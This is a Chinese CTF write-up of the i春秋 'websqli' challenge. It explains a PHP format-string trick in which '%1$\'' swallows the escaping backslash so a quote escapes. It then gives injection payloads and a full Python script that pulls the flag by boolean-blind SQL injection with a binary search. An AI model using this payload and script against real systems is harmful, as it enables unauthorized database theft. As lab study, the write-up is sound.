i春秋websqli wp

今天学到了新的sqli知识
i春秋websqli wp_第1张图片
依据题目环境猜测为sql注入,尝试了各种绕过都无解。
跑一下fuzz字典,发现只有 % 是不报错的,参考了大佬的wp才解出来。
思路:
在php的格式化字符串中,%后的一个字符(除了’%’)会被当作字符类型,而被吃掉,单引号’,斜杠\也不例外。
因为题目存在过滤,所以注入单引号被转义成’ \’ ‘,我们注入的%后就变成了’ %\’ ',格式化的时候,参数少于%的个数则匹配为空,并且需要占位符,占位符为数字和 ’ $\ ’ 组成,所以%将\给吃掉了,单引号就逃逸了。
尝试一下

admin%1$\' or 1=1#
admin%1$\' or 1=2#

在这里插入图片描述
在这里插入图片描述

上面两种注入页面回显不一样,则注入成功,接下来就是布尔盲注的过程了
脚本如下

import time
import requests
import sys
import string
import logging


# LOG_FORMAT = "%(lineno)d - %(asctime)s - %(levelname)s - %(message)s"
# logging.basicConfig(level=logging.DEBUG, format=LOG_FORMAT)
target='http://1fc3cc5e51a5431cb0de0e14491e0198e1238fc105a449d2.changame.ichunqiu.com/'
#库名
#dataStr="database()"
#表名
#dataStr="(select group_concat(table_name) from information_schema.tables where table_schema=database())"
#列名
#dataStr="(select group_concat(column_name) from information_schema.columns where table_name='flag')"
#数据
dataStr="(select flag from flag limit 0,1)"

def binaryTest(i,cu,comparer):
    s=requests.post(target,data={
     "username":r"admin%1$\' or (ascii(substr({},{},1)){comparer}{})#".format(dataStr,i,cu,comparer=comparer),"password":"123"})
    if 'password error!' in s.text:
        return True
    else:
        return False


def searchFriends_sqli(i):
    l = 0
    r = 255
    while (l <= r):
        cu = (l + r) // 2
        if (binaryTest(i, cu, "<")):
            r = cu - 1
        elif (binaryTest(i, cu, ">")):
            l = cu + 1
        elif (cu == 0):
            return None
        else:
            return chr(cu)


def main():
    print("start")
    finres=""
    i=1
    while (True):
        extracted_char = searchFriends_sqli(i)
        if (extracted_char == None):
            break
        finres += extracted_char
        i += 1
        print("(+) 当前结果:"+finres)
    print("(+) 运行完成,结果为:", finres)

if __name__=="__main__":
    main()

i春秋websqli wp_第2张图片

你可能感兴趣的:(ctf做题记录,安全)